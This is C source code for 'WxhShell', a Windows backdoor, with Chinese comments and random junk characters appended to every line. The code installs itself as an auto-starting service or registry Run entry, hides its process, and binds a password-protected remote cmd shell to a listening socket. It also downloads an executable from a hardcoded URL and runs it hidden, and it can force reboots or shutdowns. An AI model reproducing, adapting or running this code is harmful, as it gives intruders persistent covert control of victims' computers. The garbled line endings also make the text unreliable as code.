    if(Boot(SHUTDOWN)) G:wO1f6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =fdW H4  
    else { ?GtI.flV  
    closesocket(wsh); NB86+2stu  
    ExitThread(0); Y"^.6  
    } :zvAlt'q=  
    break; ^<uQ9p^B  
    } V]"pM]>3X  
  // 获取shell Z }Q/u^Z  
  case 's': { QC&,C}t,  
    CmdShell(wsh); !4<A|$mQ  
    closesocket(wsh); k*C[-5&#  
    ExitThread(0); *UXa.kT@  
    break; }n#$p{e$i  
  } =Zsxl]h   
  // 退出 e**'[3Y  
  case 'x': { *65~qAd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( z F_<  
    CloseIt(wsh); wehiX7y  
    break; Twr,O;*u=  
    } Kb-m  
  // 离开 VVpJ +  
  case 'q': { M'oZK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \3%3=:  
    closesocket(wsh); AxF$7J(  
    WSACleanup(); A:(qF.Tm  
    exit(1); i70\`6*;B  
    break; ]2ycJ >w  
        } kA)`i`gt  
  } #XqiXM~^R  
  } y@7CY-1  
B[ D s?:  
  // 提示信息 Bn=YGEvz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dkh=(+> <  
} x9 n(3Oa  
  } - DYH>!  
tB4yj_ZF  
  return; qPJSVo  
} %K06owV(S)  
+Jn\`4/J:  
// shell模块句柄 AMO{ee7Po  
int CmdShell(SOCKET sock) L|1~'Fz#w  
{ tL1\q Qg  
STARTUPINFO si; [Ls%nz|  
ZeroMemory(&si,sizeof(si)); /TIt-c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t("koA=.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '?fGI3b~/  
PROCESS_INFORMATION ProcessInfo; (v:8p!QN  
char cmdline[]="cmd"; "{3|(Qs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PI,2b(`h_  
  return 0; Ml{4)%~Y7f  
} FFmXT/K"/j  
'YYT1H)  
// 自身启动模式 N pQOLX/<?  
int StartFromService(void) {0AlQ6.@>  
{ ! L3|5:j  
typedef struct bki:u  
{ 9>vB,8  
  DWORD ExitStatus; &Fjyi"8(r  
  DWORD PebBaseAddress; : t75iB=  
  DWORD AffinityMask; e eyZ $n  
  DWORD BasePriority; /[ Rp~YzW  
  ULONG UniqueProcessId; gp H@F X  
  ULONG InheritedFromUniqueProcessId; [9Tnp]q  
}   PROCESS_BASIC_INFORMATION; "T<7j.P?  
5LU7}v~/  
PROCNTQSIP NtQueryInformationProcess; sqjDh  
5$X 8|Ve  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q./jYe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KZaiy*>)  
[ :Sl~  
  HANDLE             hProcess; [D<(xr&N%  
  PROCESS_BASIC_INFORMATION pbi; &zVXd  
IlI5xkJ(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mii&doU  
  if(NULL == hInst ) return 0; 9y} J|z  
Y`6<:8[?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gc5mR9pV   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g?Rq .py]!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MU:v& sk  
i~M-V=Zg  
  if (!NtQueryInformationProcess) return 0; <'A-9y]-v  
+Mn(s36f2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rg 0u#-  
  if(!hProcess) return 0; {!wd5C@  
U7,.L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `bn@;7`X  
"+ k}#<P4\  
  CloseHandle(hProcess); fi&>;0?7  
r&:yZN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :6m"}8*q8  
if(hProcess==NULL) return 0; AI,E9  
300[2}Y]  
HMODULE hMod; 9+.3GRt7  
char procName[255]; /c4$m3?]  
unsigned long cbNeeded; p!<PRms@  
{ Q!Xxe>6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +apn3\_  
1}p :]/;  
  CloseHandle(hProcess); iuM ,a F  
rsw= a_S  
if(strstr(procName,"services")) return 1; // 以服务启动 F< dhG>E9  
O@:R\MwFOZ  
  return 0; // 注册表启动 )]E?~$,  
} 2uF'\y  
{W%XS E  
// 主模块 oL!C(\ERh  
int StartWxhshell(LPSTR lpCmdLine) 4Yt'I#*  
{ }?O>.W,/  
  SOCKET wsl; \Il?$Kb/  
BOOL val=TRUE; c`\qupnY  
  int port=0; /N./l4D1K-  
  struct sockaddr_in door; p6Ia)!xOGF  
u%OLXb  
  if(wscfg.ws_autoins) Install(); X]\; f  
aqQ  U7  
port=atoi(lpCmdLine); 0j}@lOt(  
(#qQ;ch  
if(port<=0) port=wscfg.ws_port; 4CS$%Cu\?w  
0fV}n:4Pq  
  WSADATA data; ?f!&M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $H/: -v  
Tl?jq]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,.;{J|4P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O >@Q>Z8W?  
  door.sin_family = AF_INET; ^.*zBrFx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q]dKyMSSA  
  door.sin_port = htons(port); )<e,-XujY  
ws U@hqS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n S Vr,wU  
closesocket(wsl); 6J cXhlB`  
return 1; q!Z{qt*`um  
} _b * gg  
L/5th}m  
  if(listen(wsl,2) == INVALID_SOCKET) { Vp1Nk#H  
closesocket(wsl); >yLdrf  
return 1; y~VLa  
} [EQTrr( D  
  Wxhshell(wsl); rV*Ri~Vx  
  WSACleanup(); `?d` #) Ck  
?-<>he  
return 0; SF"r</c[  
R#rfnP >  
} 5E}]U,$  
bJynUZ  
// 以NT服务方式启动  DD[<J:6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \"Qa)1 |  
{ w.+G+ r=  
DWORD   status = 0; ~{{7y]3M-  
  DWORD   specificError = 0xfffffff; a?X@ D<.;  
xF 3Z>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $j4/ohwTDY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &,\my-4c>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wzY{ii  
  serviceStatus.dwWin32ExitCode     = 0; 1>umf~%Wa  
  serviceStatus.dwServiceSpecificExitCode = 0; [LV>z  
  serviceStatus.dwCheckPoint       = 0; Su+[Q6oC@  
  serviceStatus.dwWaitHint       = 0; L_M(Lj  
bJw{U.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w 5t|C>  
  if (hServiceStatusHandle==0) return; .B!  Z0  
{CX06BP  
status = GetLastError(); e=_Ng j)  
  if (status!=NO_ERROR) pTH5-l_f ]  
{ Pa?C-Xn^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; meGL T/   
    serviceStatus.dwCheckPoint       = 0; E0u&hBd3_  
    serviceStatus.dwWaitHint       = 0; c&PaJm  
    serviceStatus.dwWin32ExitCode     = status; |>wGl  
    serviceStatus.dwServiceSpecificExitCode = specificError; QM7B FS;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hK %FpGYA  
    return; tNYuuC%N  
  } B!4~A{  
 e `K{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Ld"df*  
  serviceStatus.dwCheckPoint       = 0; j&q%@%Gm  
  serviceStatus.dwWaitHint       = 0; H6lZ<R{=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Dx p  
} N7^sn!JB  
'{)Jhl47   
// 处理NT服务事件,比如:启动、停止 y<l(F?_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ` :Oje  
{ Ian+0 ?`e  
switch(fdwControl) yIWgC[  
{ w/9%C(w6  
case SERVICE_CONTROL_STOP: K.b :ae^k  
  serviceStatus.dwWin32ExitCode = 0; j?\z5i""f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hzA+,  
  serviceStatus.dwCheckPoint   = 0; <driD'=F  
  serviceStatus.dwWaitHint     = 0; Tz&h[+6`  
  { v]}\Ns/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&7uRR26  
  } VDiW9]  
  return; p@oz[017/J  
case SERVICE_CONTROL_PAUSE: Ue!yK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f*Os~@K  
  break; !&5*H06  
case SERVICE_CONTROL_CONTINUE: ju1B._48  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |w5,%#AeO$  
  break; y<c7RK]  
case SERVICE_CONTROL_INTERROGATE: Mt@Ma ]!  
  break; !.499H3  
}; !1Ht{cA0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /. >%IcK  
} Z,V<&9a;  
K87yQOjPv  
// 标准应用程序主函数 F?qg?1v B|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s(r4m/  
{ KxWm63"  
0g#xQzE  
// 获取操作系统版本 Y+5aT(6O  
OsIsNt=GetOsVer(); bGxHzzU}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D&qJ@PR  
oqzWL~  
  // 从命令行安装 bV+2U  
  if(strpbrk(lpCmdLine,"iI")) Install(); aj<r=  
e%IbM E]x  
  // 下载执行文件 jsP+,brO  
if(wscfg.ws_downexe) { NCgKWyRR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e$&n)>%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5<P6PHdY  
} *U`R<mV\  
AS'+p%(  
if(!OsIsNt) { :#D~j]pP  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kq(JHB+  
HideProc(); g8@F/$HY  
StartWxhshell(lpCmdLine); Lyit`j~yH  
} FrE#l.)?!  
else !'B='].  
  if(StartFromService()) \u;`Lf  
  // 以服务方式启动 3 rR1/\  
  StartServiceCtrlDispatcher(DispatchTable); `$q0fTz  
else Pc<0kQg  
  // 普通方式启动 uQ7lC~  
  StartWxhshell(lpCmdLine); ?# RhHD  
DWN9_*{  
return 0; ncTMcu  
} #WS>Z3AY  
Qj$w7*U  
L~RFI&b  
c0;rvw7  
=========================================== ^F&j;8U  
e0j4t-lL  
whm| "}x)u  
Xg;;< /Z  
}$ Kd-cj+  
kI2+&  
" ae](=OQ  
CyXaHO  
#include <stdio.h> }Yc5U,A;  
#include <string.h> P'DcNMdw  
#include <windows.h> DO( 3hIj  
#include <winsock2.h> :6/$/`I0W  
#include <winsvc.h> vKfjP_0$  
#include <urlmon.h> NK'@.=$  
Sh?eb  
#pragma comment (lib, "Ws2_32.lib") qW'L}x  
#pragma comment (lib, "urlmon.lib") J~50#vHY  
Nr).*]g@~  
#define MAX_USER   100 // 最大客户端连接数 dGz4`1(>  
#define BUF_SOCK   200 // sock buffer ]wi0qc2 {  
#define KEY_BUFF   255 // 输入 buffer D4uAwmc  
 V^rL  
#define REBOOT     0   // 重启 5=%KK3  
#define SHUTDOWN   1   // 关机 iio-RT?!  
Kmw #Q`  
#define DEF_PORT   5000 // 监听端口 .Lu3LVS  
*z.rOY= 8  
#define REG_LEN     16   // 注册表键长度 }D.\2x(J  
#define SVC_LEN     80   // NT服务名长度 X5)(,036  
9,JWi{lIv  
// 从dll定义API Et0)6^-v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;cZp$ xb3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cBv"d ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z;ku*IV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _"*s x-  
UtQCTNjC{  
// wxhshell配置信息 zx*D)i5-  
struct WSCFG { hljKBx ~  
  int ws_port;         // 监听端口 drk BW}_  
  char ws_passstr[REG_LEN]; // 口令 Od:-fw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^P*-bV4  
  char ws_regname[REG_LEN]; // 注册表键名 ~>P(nI  
  char ws_svcname[REG_LEN]; // 服务名 6As%<g=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pM}~/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7B\Q5fLQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $15H_X*!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "_&c[VptWi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yqVoedN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e8#83|h  
<XtE|LG  
}; /+8VW;4|I  
KY%{'"'u  
// default Wxhshell configuration 6 jm@`pYbE  
struct WSCFG wscfg={DEF_PORT, 3:xKq4?  
    "xuhuanlingzhe", HFlExa u  
    1,  sFnR;  
    "Wxhshell", nh"dPE7^  
    "Wxhshell", E.+%b;Eqe  
            "WxhShell Service", 9NNXj^7  
    "Wrsky Windows CmdShell Service", i5&,Bpfo-  
    "Please Input Your Password: ", uG +ZR: _  
  1, M&<qGV$A  
  "http://www.wrsky.com/wxhshell.exe", _:WNk(  
  "Wxhshell.exe" x+;y0`oL  
    }; =N8_S$nx(  
FOsxId[f9  
// 消息定义模块 jA[Ir3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >EZZEd   
char *msg_ws_prompt="\n\r? for help\n\r#>"; rHk,OC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (|rf>=B+H  
char *msg_ws_ext="\n\rExit."; +|7N89l  
char *msg_ws_end="\n\rQuit."; DEt!/a{X  
char *msg_ws_boot="\n\rReboot..."; z[myf] @  
char *msg_ws_poff="\n\rShutdown..."; x<' $  
char *msg_ws_down="\n\rSave to "; K=nDC.  
fOME&$=O  
char *msg_ws_err="\n\rErr!"; YbnXAi\y|  
char *msg_ws_ok="\n\rOK!"; U_ j[<.aN)  
!pkIaCxs  
char ExeFile[MAX_PATH]; I|qhj*_C  
int nUser = 0; dv+ZxP%g  
HANDLE handles[MAX_USER]; $mE3 FJP>  
int OsIsNt; *?]<=IV?  
c b&Yf1  
SERVICE_STATUS       serviceStatus; /&_q"y9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BG= J8  
P=6d<no&<  
// 函数声明 G_ ,9h!e  
int Install(void); 6-0sBB9=u  
int Uninstall(void); j"aY\cLr t  
int DownloadFile(char *sURL, SOCKET wsh); T93st<F=R  
int Boot(int flag); &[_@f#  
void HideProc(void); V*5v JF0j  
int GetOsVer(void); !c1M{klP  
int Wxhshell(SOCKET wsl); ".waCt6  
void TalkWithClient(void *cs); ^y KkWB*  
int CmdShell(SOCKET sock); Bz kfB:wr  
int StartFromService(void); F|qMo|  
int StartWxhshell(LPSTR lpCmdLine); DV[FZ  
-mn/Yv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vy{k"W&S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !H[01  
1q3"qY H  
// 数据结构和表定义 i/H;4#Bz  
SERVICE_TABLE_ENTRY DispatchTable[] = H(P]Z~et  
{ Yf~Kzv1]*  
{wscfg.ws_svcname, NTServiceMain}, `]]<.>R  
{NULL, NULL} 4Orq;8!BW  
}; Y:L[Iz95o  
]8DTk!  
// 自我安装 /<IWdy]$3  
int Install(void) 8q9ATB-^>  
{ HGh -rEh  
  char svExeFile[MAX_PATH]; G5K?Q+n   
  HKEY key; "bF52lLu  
  strcpy(svExeFile,ExeFile); QKB+mjMH#x  
K/ &`  
// 如果是win9x系统,修改注册表设为自启动 9==4T$nM[  
if(!OsIsNt) { LjTSu9I>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l U4 I*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |+::sL\r  
  RegCloseKey(key); qNP)oU92  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N6\rjYx+7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hf0(!C*  
  RegCloseKey(key); a:`<=^:4,  
  return 0; a$Y{ut0t(  
    } T *PEUq  
  } dcD#!v\0  
} OKK Ko`RN  
else { sQkijo.  
s-+-?$K  
// 如果是NT以上系统,安装为系统服务 C.ji]P#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H!u8+  
if (schSCManager!=0) VjNr<~|d  
{ Z"_8 l3  
  SC_HANDLE schService = CreateService bhIShk[  
  ( ]@<VLP?  
  schSCManager, KYJP`va6k  
  wscfg.ws_svcname, <FBBR2  
  wscfg.ws_svcdisp, SZ9DT  
  SERVICE_ALL_ACCESS, 3Il._]#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /|P{t{^WM  
  SERVICE_AUTO_START, k'H[aYMA  
  SERVICE_ERROR_NORMAL, 6kLy!QS  
  svExeFile, /j}Tv.'d  
  NULL, +Ln^<!P  
  NULL, GD]epr%V  
  NULL, b @0= &4  
  NULL, 3di;lzGq  
  NULL T 4p}5ew'  
  ); Qg~w 3~  
  if (schService!=0) s(5hFuyg  
  { ;CF:cH*  
  CloseServiceHandle(schService); *pSnEWwE  
  CloseServiceHandle(schSCManager); g3&nxZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :q*w_*w  
  strcat(svExeFile,wscfg.ws_svcname); R6o  D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \G>C{v;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5[jS(1a`c  
  RegCloseKey(key); 5X+`aB  
  return 0; }F!Uu KR  
    } 2w8cJadT'p  
  } w43b=7  
  CloseServiceHandle(schSCManager); 4:NMZ `~  
} ^Cp2#d*  
} N\B&|;-V  
h ~yTkN]  
return 1; #)xlBq4cZ  
} 8tQL$CbO  
<nD@4J-A0  
// 自我卸载 [~ 2m*Q  
int Uninstall(void) :??W3ROn  
{ b~:)d>s8wY  
  HKEY key; KB|mtsi  
%A'mXatk  
if(!OsIsNt) { Xm>zT'B_tJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YW&K,)L@  
  RegDeleteValue(key,wscfg.ws_regname); OObAn^bt  
  RegCloseKey(key); gjN'D!'E1D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =RD>#'sUK  
  RegDeleteValue(key,wscfg.ws_regname); BA1uo0S `S  
  RegCloseKey(key); }*QK;#NEc  
  return 0; EYj~Xj8_  
  } g`S;xs  
} hx9t{Zi  
} LOcZadr  
else { !37I2*+4  
oo &|(+"O_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); df@NV Ld  
if (schSCManager!=0) eT3!"+p-F  
{ [>54?4{|.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3 mAizq3  
  if (schService!=0) 0>td[f  
  { XWS]4MB+vm  
  if(DeleteService(schService)!=0) { |TM n  
  CloseServiceHandle(schService); R@jMFh;  
  CloseServiceHandle(schSCManager); L{&2 P  
  return 0; Q~Mkf&s  
  } [O&}Qk  
  CloseServiceHandle(schService); ='b)6R  
  } S%}G 8Ty  
  CloseServiceHandle(schSCManager); v"ORn5  
} T5zS3O  
} K=JDl-#!  
%E&oe $[B  
return 1; v/rBjUc+X  
} 6JZ>&HA  
E9j<+Ik  
// 从指定url下载文件 -_5Dk'R#`  
int DownloadFile(char *sURL, SOCKET wsh) ZM-P  
{ :2S?|7U4  
  HRESULT hr; L+%kibnY'  
char seps[]= "/"; Os$E,4,py  
char *token; upaP,ik}~  
char *file; V.*M;T\i  
char myURL[MAX_PATH]; _xePh  
char myFILE[MAX_PATH]; 1q-;+Pd;  
*6AV^^  
strcpy(myURL,sURL); o [V8h @K)  
  token=strtok(myURL,seps); }vU/]0@,E  
  while(token!=NULL) oJQS&3;/r  
  { /"D,gn1S*  
    file=token; lkTA"8d  
  token=strtok(NULL,seps); iv+a5   
  } m=@xZw<  
"Ux(nt  
GetCurrentDirectory(MAX_PATH,myFILE); i@?|vu  
strcat(myFILE, "\\"); n5UUoBv  
strcat(myFILE, file); ^Z9bA(w8  
  send(wsh,myFILE,strlen(myFILE),0); J+IItO4%  
send(wsh,"...",3,0); f<wYJGI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -+1O*L!  
  if(hr==S_OK) )SJM:E  
return 0; 3 5.&!4}  
else G-9i   
return 1; 96~y\X@x  
LJPJENtFIs  
} "z Y~*3d  
(BPp2^  
// 系统电源模块 8=L"rekV_  
int Boot(int flag) {v]L|e%{  
{ a5t&{ajJ  
  HANDLE hToken; 8j70X <R  
  TOKEN_PRIVILEGES tkp; o"BED! /  
:s_.K'4?a  
  if(OsIsNt) { : H;S"D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iE"]S )  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;y\/7E  
    tkp.PrivilegeCount = 1; ) u{ ]rb[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^P~,bO&H.Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _|12BVq  
if(flag==REBOOT) { 8e>B>'nH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jXf@JxQ  
  return 0; )e3w-es~4  
} DmuQE~DV  
else { p P@q `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i *:QbMb  
  return 0; rbdrs  
} @H#Fzoo.  
  } ,}'8. f  
  else { oH0g>E;  
if(flag==REBOOT) { jnOnV1I"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lw[=pe0e  
  return 0; 5\h 6"/6Df  
} lBFKfLp&  
else { q>BJ:_I i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9:@Xz5  
  return 0; Wfd`v  
} @, fvWNI  
} 80lhhqRC  
";7N$hWE  
return 1; P=,\wM6T|  
} %!A:Ka!m.  
t27UlFX  
// win9x进程隐藏模块 2c[HA  
void HideProc(void) :tO4LEb  
{ zuN(~>YH  
Q ]TZyk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tKUW  
  if ( hKernel != NULL ) yW'{Z]09  
  { [Lje?M* r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "1Hn?4nz5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lG0CCOdQ  
    FreeLibrary(hKernel); PZ6R+n8  
  } Q`8-|(ngw  
98u@X:3  
return; e.MyJ:eL  
} eC<RM Q4  
V1M|p!  
// 获取操作系统版本 `=hCS0F  
int GetOsVer(void) !c)F;  
{ 9F 3,  
  OSVERSIONINFO winfo; x1g-@{8]j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -j<E_!t  
  GetVersionEx(&winfo); &_:9.I 1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p:n l4O/  
  return 1; qB_s<cpn>  
  else ~ i+XVo  
  return 0; f9#srIx+  
} {'+{ASpO!  
`+< ^Svou  
// 客户端句柄模块 >2>/ q?  
int Wxhshell(SOCKET wsl) HN`qMGW^  
{ Conik`  
  SOCKET wsh; =\2gnk~  
  struct sockaddr_in client; ^ wZx=kas  
  DWORD myID; TC<Rg?&yb  
6c^?DLy9B  
  while(nUser<MAX_USER) e)?}2  
{ +$L}B-F  
  int nSize=sizeof(client); $t& o(]m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ]'% iR  
  if(wsh==INVALID_SOCKET) return 1; ;Ngk"5  
H%l-@::+$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ef7 U7   
if(handles[nUser]==0) "aKlvK:77  
  closesocket(wsh); >CrrxiG  
else +2:HgW  
  nUser++; . U6(>6-  
  } y7h^_D+Ce  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CB>W# P%  
(|AZO!  
  return 0; X(E`cH |  
} #]1 jvB  
|)>+& xk  
// 关闭 socket u =L Dfn  
void CloseIt(SOCKET wsh) Kh=\YN\E<  
{ .9ZK@xM&?  
closesocket(wsh); 'vt Jl  
nUser--; ygja{W.  
ExitThread(0); RTd,bi*  
} -`Z!p  
1mtYap4  
// 客户端请求句柄 0sw;h.VY  
void TalkWithClient(void *cs) B2$cY;LH  
{ sM)1w-  
:!t4.ko  
  SOCKET wsh=(SOCKET)cs; i^:#*Q-co  
  char pwd[SVC_LEN]; a8)2I~j  
  char cmd[KEY_BUFF]; g?xXX /Qe  
char chr[1]; I:DAn!N-A*  
int i,j; DFZ0~+rh  
9xJtDdy-O  
  while (nUser < MAX_USER) { uHacu<$=  
J?#vL\8  
if(wscfg.ws_passstr) { 7wWx8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^zT=qB l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |9 5K  
  //ZeroMemory(pwd,KEY_BUFF); Tw$tE:  
      i=0; R73@!5N%  
  while(i<SVC_LEN) { a(yWIgD\\  
*iru>F8r:  
  // 设置超时 2Jiy`(P  
  fd_set FdRead; r<(UN@T}  
  struct timeval TimeOut; (p#c p  
  FD_ZERO(&FdRead); &Hf%Va[B  
  FD_SET(wsh,&FdRead); $FT6c@&y  
  TimeOut.tv_sec=8; _\IA[-C+O  
  TimeOut.tv_usec=0; M9fQ,<c<6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6:}n}q,V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aUa+]H[  
rkWy3X{%2<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `2+TN  
  pwd=chr[0]; 32 j){[PL3  
  if(chr[0]==0xd || chr[0]==0xa) { 0 5?`W&:9  
  pwd=0; /YPG_,lRA  
  break; D0bpD  
  } ]Q.S Is  
  i++; Sru0j/|H\  
    } *^{j!U37s  
,if~%'9j  
  // 如果是非法用户,关闭 socket F ]D^e{y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 73!NoDxb  
} &x*l{s[  
J80&npsO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #+Bz$CO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DU,B  
; m |N 9'  
while(1) { kc$W"J@  
+|GHbwvp  
  ZeroMemory(cmd,KEY_BUFF); b(U5n"cdA  
#sF#<nHZ  
      // 自动支持客户端 telnet标准   4@F8-V3q4  
  j=0; /160pl 4  
  while(j<KEY_BUFF) { EGv]K|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )!VJ\  
  cmd[j]=chr[0]; $ SA @ "  
  if(chr[0]==0xa || chr[0]==0xd) { f$}g'r zl  
  cmd[j]=0; 3zfpFgD!  
  break; Lf a&JKd  
  } p;o"i_!  
  j++; &'PLOyWw  
    } L?a4>uVY  
2\64~a^  
  // 下载文件 RFe># o  
  if(strstr(cmd,"http://")) { Y@UW\d*'%I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &09~ D8f'  
  if(DownloadFile(cmd,wsh)) O:,Gmft+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?G9DSk?6%Z  
  else *b{Hj'HaH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xe`$SNM  
  } aRn""3[  
  else { t=:5?}J.Q$  
$Sm iN'7;  
    switch(cmd[0]) { ~k@{b&  
  u@Ni *)p`  
  // 帮助 9"D t3>Z  
  case '?': { 7r(c@4yPI  
